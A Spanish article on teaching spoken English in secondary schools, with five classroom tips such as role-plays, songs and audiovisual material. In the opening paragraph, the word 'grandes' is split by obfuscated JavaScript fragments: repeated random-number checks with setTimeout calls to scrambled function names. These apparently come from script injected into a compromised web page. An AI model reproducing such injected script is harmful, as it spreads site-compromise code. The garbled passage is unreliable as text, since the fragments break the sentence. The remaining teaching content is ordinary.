LA IMPORTANCIA DEL APRENDIZAJE DEL INGLÉS EN LA COMUNICACIÓN ORAL: TIPS PARA SECUNDARIA

Autora: Ines Mª Pino Prado

El artículo trata de explicar la importancia que tiene el inglés como lengua extranjera hoy en día en nuestro país. Aún haciendo grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andes esfuerzos económicos y personales, nuestros alumnos no logran superar la media europea para alcanzar un buen nivel de inglés. El artículo se enfoca en el aprendizaje del inglés de manera oral más que escrita y  para ello propone una serie de consejos (tips) y actividades para poder solventar este problema y trabajar en clase con el enfoque comunicativo.

Muchas veces nos preguntamos los posibles motivos por los que España se sitúa a la cola de los demás países europeos en temas de educación. Informes PISA aparte, uno de los razonamientos a los que he llegado es el nivel de exigencia por parte del profesorado, gobierno competente, familias e incluso el nivel de exigencia personal del alumno.

La educación, (del latín educere “guiar, conducir” o educare “formar, instruir”) puede definirse, según Wikipedia, como “El proceso multidireccional mediante el cual se transmiten conocimientosvalorescostumbres y formas de actuar. La educación no sólo se produce a través de la palabra, pues está presente en todas nuestras acciones, sentimientos y actitudes.”

¿Qué padre hoy en día no da importancia a que sus hijos estudien Inglés? Incluso en estos tiempos de crisis, gran parte de los alumnos en Extremadura van a actividades extraescolares relacionadas con el Inglés ( a veces muy a su pesar). En España, el Inglés ha sustituido al Francés de la época de nuestros padres que se han dado cuenta de que su famosa frase de “Yo es que soy de Francés” ya está muy pasada de moda. Con Internet, avances tecnológicos y múltiples medios de comunicación, si hoy no hablas Inglés puedes ser considerado un “analfabeto tecnológico”.

Un estudio Europeo de Competencia Lingüística de la Unión Europea, destinado a  alumnos de 4º de la ESO está promovido por la Unión Europea y pretende proporcionar a los Estados miembros información comparable sobre las competencias lingüísticas en lenguas extranjeras de los alumnos europeos al finalizar la Educación Secundaria Obligatoria así como conocimiento sobre buenas prácticas que permitan mejorar el aprendizaje de dichas lenguas. Participan 16 países de la Unión Europea, entre ellos el nuestro.  Entre los objetivos de dicho programa, se encuentran:

-Aportar datos estadísticos representativos sobre la competencia lingüística, o

-Favorecer una base sólida para el aprendizaje de lenguas extranjeras a lo largo de la vida.

Lo que se puede observar de todo esto, es que nuestro país invierte en educación para fomentar el plurilingüismo. Y no solo se invierte en el alumnado, sino también en el profesorado con diversos programas de movilidad internacional y recursos. Actualmente, podemos ver como nuestros centros se llenan de aulas bilingües. Por todos estos motivos, ¿cuál es el problema?  Falta de medios, es evidente que no. ¿Vergüenza? No es razón suficiente. Con la gran inversión realizada, ¡nuestros alumnos/as deberían hablar mejor que la mismísima reina de Inglaterra! Bueno, no tanto. Pero deberían ser muy competentes en esta materia.

En mi caso, voy a explicar mi experiencia en la rama idiomática, es decir, en Inglés. ¿Cómo es posible que en siglo XXI nuestro alumnos/as no sean lo suficientemente competentes como para desenvolverse en uno de los idiomas más hablados del mundo? ¿Es correcto el enfoque idiomático que se ha elaborado en nuestro país para la enseñanza de una segunda lengua? Pues bien, he llegado a la conclusión de que el fallo está en la poca práctica oral que tiene cabida en las aulas españolas. En países vecinos como Portugal no existe el doblaje, por lo que ven las películas en su versión original. Esta idea, que en un principio pudiera parecer simplona, resulta muy atractiva a la hora de aprender un idioma. Pero no es suficiente con ver una película por trimestre en el aula y luego dedicar el resto del curso con aspectos gramaticales, redacciones, cartas, o aburridos ejercicios de “use of english”.

Entrenar el oído es un proceso largo pero esencial. A base de constancia podemos hacer que un alumno que no entiende ni una palabra, en un mes sea capaz de mantener una conversación sencilla. Para ello es importante seguir los siguiente “tips” que deben ser utilizados en el aula de secundaria:

Tip 1: Speak English: pero esta norma no es exclusiva para el alumno. ¿Cómo se puede pretender que hablen inglés si ni siquiera el docente es capaz de hablar 45 minutos seguidos en ese idioma? Es importante centrarse únicamente en la comunicación inglesa ya que aunque al principio no nos entiendan, con un poco de insistencia, podremos obtener resultados brillantes.

Tip 2: Role-plays: además de fomentar la participación y la comunicación en la lengua extranjera ; es un gran ejercicio que simula situaciones de la vida real  y en la que trabajamos con la pronunciación, acento y vocabulario de manera lúdica y amena.

Tip 3: Uso de flashcards: aunque en un principio pudiera parecer una técnica infantil, hay muchas maneras de utilizar las tarjetas para varias cosas como:

-Ampliar vocabulario

-Describir situaciones o paisajes

-Ayudan a la memorización

Tip 4: Uso de Canciones: ayudan a conseguir uno de los puntos más importantes y a la vez más difíciles para los alumnos: la motivación. Con el uso de las canciones los alumnos pueden ver una finalidad y además siempre podemos adecuar sus gustos musicales a las canciones que vayamos a trabajar en clase.

Tip 5: Uso de material audiovisual: películas, documentales, entrevistas….hay infinidad de material disponible en Internet que podemos utilizar en el aula de secundaria. Mucho mejor si adaptamos todo a sus intereses para fomentar la motivación como por ejemplo: entrevistas sobre drogodependencia, documentales sobre viajes a países de habla inglesa, etc…. Además, siempre podemos trabajar a tres niveles:

-Pre-listening activities: antes de escuchar podemos preparar un pequeño cuestionario para ver sus conocimientos previos

-While-listening activities: durante la actividad, podemos hacer una pequeña pausa para comprobar que nuestros alumnos/as están entendiendo correctamente la actividad:

-Post-listening activities: después de la actividad, para ver si los resultados son los esperados y si nuestros objetivos han sido cumplidos o no.

Estos cinco sencillos consejos, no conllevan un gran esfuerzo por parte del profesor. Muchas veces es más ingenio que largas horas de preparación. El enfoque oral de una lengua es esencial para aprenderla. Nuestros alumnos/as vencerán la timidez y verán que existen otras culturas y formas de vida interesantes.

BIBLIOGRAFÍA:

www.educación.gob.es

http://es.wikipedia.org/wiki/Educación

Escribe tu opinion

Cuentanos lo que estas pensando ...
y oh, si quieres una imagen para mostrar con su comentario, ve a buscar un gravatar!

Tu debes estar conectado para poder comentar.